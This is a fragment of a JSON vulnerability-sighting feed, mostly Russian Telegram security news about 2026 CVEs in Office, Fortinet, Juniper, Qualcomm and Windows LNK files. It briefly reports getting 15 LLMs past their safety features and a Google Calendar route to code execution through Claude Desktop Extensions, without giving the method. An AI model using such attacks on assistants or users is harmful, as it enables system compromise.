\u0440\u0430\u0441\u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 15 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u043d\u0430 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0438\u0439 \u0434\u0435\u043d\u044c LLM, \u043e\u0442 DeepSeek \u0434\u043e GPT \u0438 Llama.\n\n6. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 LayerX \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 Claude Desktop Extensions (DXT), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c Google \u041a\u0430\u043b\u0435\u043d\u0434\u0430\u0440\u044c \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f Claude Desktop Extensions. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 10 000 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 50 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439 DXT.\n\n7. FIRST \u043f\u0440\u043e\u0433\u043d\u043e\u0437\u0438\u0440\u0443\u0435\u0442, \u0447\u0442\u043e \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u0433\u043e\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043e\u043a\u043e\u043b\u043e 60 000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u042d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0432\u044b\u0439 \u0433\u043e\u0434 \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u0438, \u043a\u043e\u0433\u0434\u0430 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u043f\u0440\u0435\u0432\u044b\u0441\u0438\u0442 \u043f\u043e\u0440\u043e\u0433 \u0432 50 000.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u043d\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0438\u0445 \u043c\u043e\u0436\u0435\u0442 \u043e\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u043f\u043e \u0433\u043e\u0434\u0430 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 100 000.\n\n8. Positive Technologies \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439 \u00ab\u0412 \u0442\u0440\u0435\u043d\u0434\u0435 VM\u00bb, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 \u0441\u0440\u0435\u0434\u0438 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0445: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a RCE, \u0432 Microsoft 365 \u0438 Microsoft Office (CVE-2026-21509) \u0438 \u043e\u0448\u0438\u0431\u043a\u0443, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0443\u044e \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0432 Desktop Window Manager (CVE-2026-20805).\n\n9. \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u043e\u0433 Pwn2Own\u00a0\u043e\u0442 Zero Day Initiative - Tianfu Cup \u043f\u043e\u0441\u043b\u0435 \u0434\u0432\u0443\u0445\u043b\u0435\u0442\u043d\u0435\u0433\u043e \u043f\u0435\u0440\u0435\u0440\u044b\u0432\u0430 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0432 2026 \u0433\u043e\u0434\u0443. \u041c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043b\u043e\u0441\u044c 29-30 \u044f\u043d\u0432\u0430\u0440\u044f.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Natto Thoughts, \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0443\u044e\u0442\u0441\u044f \u041c\u041e\u0411 \u041a\u041d\u0420 \u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u0432 \u0435\u0449\u0435 \u0431\u043e\u043b\u0435\u0435 \u0437\u0430\u0441\u0435\u043a\u0440\u0435\u0447\u0435\u043d\u043d\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435.\n\n10. Microsoft \u0441\u0447\u0438\u0442\u0430\u0435\u0442, \u0447\u0442\u043e \u0432\u043d\u043e\u0432\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043f\u043e\u0434\u043c\u0435\u043d\u043e\u0439 LNK-\u043a\u043e\u0434\u0430 \u0432 Windows - \u044d\u0442\u043e \u043d\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \n\n\u041d\u0430 \u0444\u0435\u0441\u0442\u0438\u0432\u0430\u043b\u0435 Wild West Hackin' Fest \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0412\u0438\u0442\u0446\u0435 \u0411\u0435\u0443\u043a\u0435\u043c\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u044f\u0440\u043b\u044b\u043a\u043e\u0432 Windows, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u041f\u041e.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00a0\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b\u00a0\u00a0\u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f\u043c\u0438 \u0432 \u0442\u043e\u043c, \u043a\u0430\u043a \u043f\u0440\u043e\u0432\u043e\u0434\u043d\u0438\u043a Windows \u0440\u0430\u0441\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u044b \u0434\u043b\u044f \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u0443\u044e\u0449\u0438\u0445 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u043f\u0443\u0442\u0435\u0439, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u044f\u0440\u043b\u044b\u043a\u043e\u0432.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b lnk-it-up - \u043d\u0430\u0431\u043e\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u044f\u0440\u043b\u044b\u043a\u0438 Windows LNK \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432.", "creation_timestamp": "2026-02-13T18:00:09.000000Z"}, {"uuid": "9723a4d3-5685-40a2-82b4-bdca3b5e5265", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/ctinow/245205", "content": "APT28 Uses Microsoft Office CVE-2026-21509 in Espionage-Focused Malware Attacks\nhttps://ift.tt/TdRPqWb", "creation_timestamp": "2026-02-03T09:44:15.000000Z"}, {"uuid": "71f6a7cc-e450-49b1-ae05-e2a8698571f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21385", "type": "exploited", "source": "https://t.me/thehackernews/8518", "content": "\u26a0\ufe0f Google says CVE-2026-21385 is being exploited in the wild.\n\nThe high-severity flaw affects a Qualcomm graphics component in Android and involves a buffer over-read caused by an integer overflow. Activity appears limited and targeted.\n\n\ud83d\udd17 Details \u2192 https://thehackernews.com/2026/03/google-confirms-cve-2026-21385-in.html", "creation_timestamp": "2026-03-03T07:10:30.000000Z"}, {"uuid": "5c7fee1a-0d0d-480c-81b6-77adc6a3681b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "https://t.me/true_secator/7895", "content": "Fortinet \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 FortiClientEMS, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-21643\u00a0\u0438 \u0438\u043c\u0435\u0435\u0442 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 CVSS 9,1 \u0438\u0437 10 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445. \u041e\u043d\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SQL-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 FortiClientEMS, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0413\u0432\u0435\u043d\u0434\u0430\u043b\u0443 \u0413\u0435\u043d\u044c\u043e \u0438\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u044b Fortinet. \u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 FortiClientEMS 7.4.4 (\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4.5 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435), FortiClientEMS 7.2 \u0438 FortiClientEMS 8.0 \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u044b \u043a\u0430\u043a \u043d\u0435\u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 Fortinet \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0439 CVE-2026-24858 \u0432 FortiOS, FortiManager, FortiAnalyzer, FortiProxy, FortiWeb, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e FortiCloud \u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c \u0432\u0445\u043e\u0434\u0438\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0441 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 FortiCloud SSO.\n\n\u0412\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 Fortinet \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0435\u0435 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0434\u043b\u044f  \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0432\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0434\u043e\u0441\u0442\u0443\u043f \u043a VPN, \u0438 \u043a\u0440\u0430\u0436\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0430.", "creation_timestamp": "2026-02-10T15:10:05.000000Z"}, {"uuid": "755cce13-687f-408a-a12e-ec511aaf8413", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21902", "type": "seen", "source": "https://t.me/true_secator/7951", "content": "Juniper Networks \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f Junos OS Evolved \u043d\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 PTX, \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u041c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u044b \u0441\u0435\u0440\u0438\u0438 PTX\u00a0- \u044d\u0442\u043e \u0432\u044b\u0441\u043e\u043a\u043e\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u044f\u0434\u0440\u0430 \u0441\u0435\u0442\u0438 \u0438 \u043f\u0438\u0440\u0438\u043d\u0433\u0430, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u043d\u0438\u0437\u043a\u043e\u0439 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0438 \u0438 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u043c\u043e\u0441\u0442\u0438. \u0428\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043d\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u0445 \u0441\u0432\u044f\u0437\u0438.\n\nCVE-2026-21902 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u00ab\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0439 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435\u00bb, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441.\n\n\u041a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u044f\u0435\u0442 Juniper Networks,\u00a0\u044d\u0442\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u0447\u0435\u0440\u0435\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u043f\u043e\u0440\u0442. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0441\u043b\u0443\u0436\u0431\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0443\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0435\u043c\u0443\u0441\u044f \u0432 \u0441\u0435\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Junos OS Evolved \u0434\u043e 25.4R1-S1-EVO \u0438 25.4R2-EVO \u043d\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 \u0441\u0435\u0440\u0438\u0438 PTX. \u0411\u043e\u043b\u0435\u0435 \u0441\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b, \u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0435 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u0438\u043b\u0438 \u0441\u0440\u043e\u043a \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u0435\u043a.\n\n\u0412\u0435\u0440\u0441\u0438\u0438 \u0434\u043e 25.4R1-EVO, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 (\u043d\u0435 Evolved) \u0432\u0435\u0440\u0441\u0438\u0438 Junos OS \u043d\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b CVE-2026-21902. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0439 25.4R1-S1-EVO, 25.4R2-EVO \u0438 26.2R1-EVO \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043f\u043e\u043c\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0442\u043e\u0447\u043a\u0430\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c\u0438 